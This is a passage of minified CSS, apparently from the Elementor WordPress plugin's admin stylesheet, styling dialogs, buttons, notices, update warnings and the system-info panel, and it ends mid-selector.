.description{font-size:.9em;margin:10px 0;max-width:820px}body.post-type-attachment table.media .column-title .media-icon img[src$=".svg"]{width:100%}.e-major-update-warning{margin-block-end:5px;max-width:1000px;display:flex}.e-major-update-warning__separator{margin:15px -12px}.e-major-update-warning__icon{font-size:17px;margin-inline-end:9px;margin-inline-start:2px}.e-major-update-warning__title{font-weight:600;margin-block-end:10px}.e-major-update-warning+p{display:none}.notice-success .e-major-update-warning__separator{border:1px solid #46b450}.notice-success .e-major-update-warning__icon{color:#79ba49}.notice-warning .e-major-update-warning__separator{border:1px solid #ffb900}.notice-warning .e-major-update-warning__icon{color:#f56e28}.plugins table.e-compatibility-update-table tr{background:transparent}.plugins table.e-compatibility-update-table tr th{font-weight:600}.plugins table.e-compatibility-update-table tr td,.plugins table.e-compatibility-update-table tr th{min-width:250px;font-size:13px;background:transparent;box-shadow:none;border:none;padding-block-start:5px;padding-block-end:5px;padding-inline-end:15px;padding-inline-start:0}.dialog-widget-content{background-color:var(--e-a-bg-default);position:absolute;border-radius:3px;box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{line-height:1.5;box-sizing:border-box}.dialog-close-button{cursor:pointer;position:absolute;margin-block-start:15px;inset-inline-end:15px;color:var(--e-a-color-txt);font-size:15px;line-height:1;transition:var(--e-a-transition-hover)}.dialog-close-button:hover{color:var(--e-a-color-txt-hover)}.dialog-prevent-scroll{overflow:hidden;max-height:100vh}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-editor-active .elementor-popup-modal{background-color:initial}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}:root{--e-focus-color:rgba(0,115,170,0.4);--e-context-primary-color:#0073aa;--e-context-primary-color-dark:#005177;--e-context-primary-tint-4:rgba(0,115,170,0.4);--e-context-primary-tint-1:rgba(0,115,170,0.04);--e-context-success-color:#0a875a;--e-context-success-color-dark:#06583a;--e-context-success-tint-4:rgba(10,135,90,0.4);--e-context-success-tint-1:rgba(10,135,90,0.04);--e-context-info-color:#2563eb;--e-context-info-color-dark:#134cca;--e-context-info-tint-4:rgba(37,99,235,0.4);--e-context-info-tint-1:rgba(37,99,235,0.04);--e-context-warning-color:#f59e0b;--e-context-warning-color-dark:#c57f08;--e-context-warning-tint-4:rgba(245,158,11,0.4);--e-context-warning-tint-1:rgba(245,158,11,0.04);--e-context-error-color:#dc2626;--e-context-error-color-dark:#b21d1d;--e-context-error-tint-4:rgba(220,38,38,0.4);--e-context-error-tint-1:rgba(220,38,38,0.04);--e-context-cta-color:#524cff;--e-context-cta-color-dark:#2119ff;--e-context-cta-tint-4:rgba(82,76,255,0.4);--e-context-cta-tint-1:rgba(82,76,255,0.04)}.e-getting-started{max-width:900px;padding:2.5em 0;margin:auto;text-align:center}.e-getting-started__header{display:flex;flex-direction:row;justify-content:space-between;align-items:center;box-shadow:0 0 8px rgba(0,0,0,.1)}.e-getting-started__header .e-logo-wrapper{font-size:10px;margin-inline-end:10px}.e-getting-started__title{padding:0 15px;font-weight:600;text-transform:uppercase;display:flex;align-items:center}.e-getting-started__skip{border-inline-start:1px solid #eee;font-size:16px;color:inherit}.e-getting-started__skip i{padding:15px}.e-getting-started__content{padding:50px}.e-getting-started__content h2{font-size:2em;margin-block-start:0}.e-getting-started__content--narrow{max-width:500px;margin:auto}.e-getting-started__video{margin:40px 0 60px}.e-getting-started__video iframe{box-shadow:10px 10px 20px rgba(0,0,0,.15)}.e-getting-started__actions .button-primary{margin-inline-end:20px}:root{--e-button-padding-block:0.4375rem;--e-button-padding-inline:0.75rem;--e-button-font-size:0.8125rem;--e-button-font-weight:500;--e-button-line-height:0.9375rem;--e-button-border-radius:3px;--e-button-context-color:var(--e-context-primary-color);--e-button-context-color-dark:var(--e-context-primary-color-dark);--e-button-context-tint:var(--e-context-primary-tint-1)}.e-button{display:inline-block;font-weight:var(--e-button-font-weight);text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;user-select:none;color:#fff;border:0;text-decoration:none;background:var(--e-button-context-color);padding:var(--e-button-padding-block) var(--e-button-padding-inline);font-size:var(--e-button-font-size);line-height:var(--e-button-line-height);border-radius:var(--e-button-border-radius);transition:background-color .15s ease-in-out,box-shadow .15s ease-in-out}.e-button:active,.e-button:focus,.e-button:hover{color:#fff;text-decoration:none;background:var(--e-button-context-color-dark)}.e-button.focus,.e-button:focus{outline:0;box-shadow:0 0 0 2px var(--e-focus-color)}.e-button.disabled,.e-button:disabled{opacity:.5;box-shadow:none}.e-button:not(:disabled):not(.disabled){cursor:pointer}.e-button:not(:disabled):not(.disabled).active:focus,.e-button:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 2px var(--e-focus-color)}.e-button--primary{--e-button-context-color:var(--e-context-primary-color);--e-button-context-color-dark:var(--e-context-primary-color-dark);--e-button-context-tint:var(--e-context-primary-tint-1);--e-focus-color:var(--e-context-primary-tint-4)}.e-button--success{--e-button-context-color:var(--e-context-success-color);--e-button-context-color-dark:var(--e-context-success-color-dark);--e-button-context-tint:var(--e-context-success-tint-1);--e-focus-color:var(--e-context-success-tint-4)}.e-button--info{--e-button-context-color:var(--e-context-info-color);--e-button-context-color-dark:var(--e-context-info-color-dark);--e-button-context-tint:var(--e-context-info-tint-1);--e-focus-color:var(--e-context-info-tint-4)}.e-button--warning{--e-button-context-color:var(--e-context-warning-color);--e-button-context-color-dark:var(--e-context-warning-color-dark);--e-button-context-tint:var(--e-context-warning-tint-1);--e-focus-color:var(--e-context-warning-tint-4)}.e-button--error{--e-button-context-color:var(--e-context-error-color);--e-button-context-color-dark:var(--e-context-error-color-dark);--e-button-context-tint:var(--e-context-error-tint-1);--e-focus-color:var(--e-context-error-tint-4)}.e-button--cta{--e-button-context-color:var(--e-context-cta-color);--e-button-context-color-dark:var(--e-context-cta-color-dark);--e-button-context-tint:var(--e-context-cta-tint-1);--e-focus-color:var(--e-context-cta-tint-4)}.e-button.e-button--outline{color:var(--e-button-context-color);background:none;border:1px solid}.e-button.e-button--outline:focus,.e-button.e-button--outline:hover{color:var(--e-button-context-color-dark);background:var(--e-button-context-tint)}.e-button.e-button--outline.disabled,.e-button.e-button--outline:disabled{color:var(--e-button-context-color-dark);background:#69727d}.e-button>i{line-height:inherit;height:var(--e-button-line-height);width:-moz-min-content;width:min-content}.e-button>*+*{margin-inline-start:.5ch}.e-button--link{color:var(--e-button-context-color);background-color:transparent}.e-button--link:focus,.e-button--link:hover{color:var(--e-button-context-color-dark);background:var(--e-button-context-tint)}.e-button--link.disabled,.e-button--link:disabled{color:#69727d}a.e-button.disabled,fieldset:disabled a.e-button{pointer-events:none}:root{--e-notice-bg:#fff;--e-notice-border-color:#ccd0d4;--e-notice-context-color:#93003f;--e-notice-context-tint:var(--e-context-cta-tint-1);--e-notice-box-shadow:0 1px 4px rgba(0,0,0,0.15);--e-notice-dismiss-color:#3f444b}.e-notice{position:relative;display:flex;font-family:Roboto,Arial,Helvetica,sans-serif;background:var(--e-notice-bg);border:1px solid var(--e-notice-border-color);border-inline-start-width:4px;box-shadow:var(--e-notice-box-shadow);margin:5px 20px 5px 2px}.e-notice.notice{padding:0}.e-notice:before{display:block;content:"";position:absolute;inset-inline-start:-4px;inset-block-start:-1px;inset-block-end:-1px;width:4px;background-color:var(--e-notice-context-color)}.e-notice--primary{--e-notice-context-color:var(--e-context-primary-color);--e-notice-context-color-dark:var(--e-context-primary-color-dark);--e-notice-context-tint:var(--e-context-primary-tint-1)}.e-notice--success{--e-notice-context-color:var(--e-context-success-color);--e-notice-context-color-dark:var(--e-context-success-color-dark);--e-notice-context-tint:var(--e-context-success-tint-1)}.e-notice--info{--e-notice-context-color:var(--e-context-info-color);--e-notice-context-color-dark:var(--e-context-info-color-dark);--e-notice-context-tint:var(--e-context-info-tint-1)}.e-notice--warning{--e-notice-context-color:var(--e-context-warning-color);--e-notice-context-color-dark:var(--e-context-warning-color-dark);--e-notice-context-tint:var(--e-context-warning-tint-1)}.e-notice--error{--e-notice-context-color:var(--e-context-error-color);--e-notice-context-color-dark:var(--e-context-error-color-dark);--e-notice-context-tint:var(--e-context-error-tint-1)}.e-notice--cta{--e-notice-context-color:var(--e-context-cta-color);--e-notice-context-color-dark:var(--e-context-cta-color-dark);--e-notice-context-tint:var(--e-context-cta-tint-1)}.e-notice--extended{--e-notice-is-extended:1}.e-notice--dismissible{padding-inline-end:38px}.e-notice__aside{overflow:hidden;background-color:var(--e-notice-context-tint);width:calc(var(--e-notice-is-extended, 0) * 50px);text-align:center;padding-block-start:15px;flex-grow:0;flex-shrink:0}.e-notice__icon-wrapper{display:inline-block;font-size:.625rem;max-height:1.5rem;width:1.5rem;line-height:1.5rem;border-radius:100px;background:var(--e-notice-context-color);color:#fff;text-shadow:0 0 3px var(--e-notice-context-color-dark),0 0 1px var(--e-notice-context-color-dark),0 0 1px var(--e-notice-context-color-dark)}.e-notice__content{padding:20px}.e-notice__actions{display:flex}.e-notice__actions>*+*{margin-inline-start:8px}.e-notice__dismiss{width:20px;height:20px;line-height:20px;font-size:.8125rem;text-align:center;background:none;display:block;position:absolute;inset-block-start:0;inset-inline-end:1px;border:none;margin:0;padding:9px;cursor:pointer;font-style:normal}.e-notice__dismiss:before{font-family:eicons;display:inline-block;content:"\e87f";color:var(--e-notice-dismiss-color);width:20px;border-radius:20px;speak:none;text-align:center}.e-notice__dismiss:active:before,.e-notice__dismiss:focus:before,.e-notice__dismiss:hover:before{font-weight:700}.e-notice__dismiss:focus:before{color:#fff;background:var(--e-notice-dismiss-color);outline:none}.e-notice__dismiss:focus{outline:none}.e-notice p{line-height:1.2;padding:0;margin:0}.e-notice p+.e-notice__actions{margin-block-start:1rem}.e-notice h3{font-size:1.0625rem;line-height:1.2;margin:0}.e-notice h3+p{margin-block-start:8px}.elementor-admin-alert{padding:15px;border-inline-start:3px solid transparent;position:relative;font-size:12px;line-height:1.5;text-align:start}.elementor-admin-alert a{color:inherit}.elementor-admin-alert.elementor-alert-info{color:var(--e-a-color-info);background-color:var(--e-a-bg-info);border-color:var(--e-a-color-info)}.elementor-admin-alert.elementor-alert-success{color:var(--e-a-color-success);background-color:var(--e-a-bg-success);border-color:var(--e-a-color-success)}.elementor-admin-alert.elementor-alert-warning{color:var(--e-admin-color-warning);background-color:var(--e-a-bg-warning);border-color:var(--e-a-color-warning)}.elementor-admin-alert.elementor-alert-danger{color:var(--e-a-color-danger);background-color:var(--e-a-bg-danger);border-color:var(--e-a-color-danger)}#elementor-system-info{padding:15px}#elementor-system-info .elementor-system-info-header{display:flex;justify-content:space-between;align-items:center}#elementor-system-info .elementor-system-info-section{margin-block-end:10px}#elementor-system-info .elementor-system-info-section .widefat{white-space:pre}#elementor-system-info .elementor-system-info-section .elementor-log-entries{white-space:pre-wrap}#elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) tbody td:first-child{width:300px}#elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) td{white-space:break-spaces}#elementor-system-info .elementor-system-info-field-recommendation{padding-inline-start:10px;color:#7f7f7f}#elementor-system-info .elementor-system-info-plugin-name{color:#000}#elementor-system-info .elementor-system-info-plugin-properties{padding:10px}#elementor-system-info #elementor-system-info-raw-code{width:100%;height:200px}#elementor-system-info #elementor-system-info-raw-code-label{padding:5px;display:block}#elementor-system-info .elementor-warning td:first-child{border-inline-start:3px solid #f59e0b}#elementor-system-info a.box-title-tool{font-size:80%;margin-inline-start:15px;color:#69727d}#elementor-system-info a.box-title-tool:hover{text-decoration:underline}#elementor-system-info #elementor-usage-recalc{font-size:12px;color:#fff;background-color:#9da5ae;padding:4px 18px 5px;border-radius:3px}.dialog-type-alert .dialog-widget-content,.dialog-type-confirm .dialog-widget-content{margin:auto;width:400px;padding:20px}.dialog-type-alert .dialog-header,.dialog-type-confirm .dialog-header{font-size:15px;font-weight:500}.dialog-type-alert .dialog-header:after,.dialog-type-confirm .dialog-header:after{content:"";display:block;border-block-end:var(--e-a-border);padding-block-end:10px;margin-block-end:10px;margin-inline-start:-20px;margin-inline-end:-20px}.dialog-type-alert .dialog-message,.dialog-type-confirm .dialog-message{min-height:50px}.dialog-type-alert .dialog-buttons-wrapper,.dialog-type-confirm .dialog-buttons-wrapper{padding-block-start:10px;display:flex;justify-content:flex-end;gap:15px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{border:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active{background-color:var(--e-a-btn-bg-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]),.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]){cursor:pointer}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon{display:none}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-confirm .dialog-buttons-wrapper 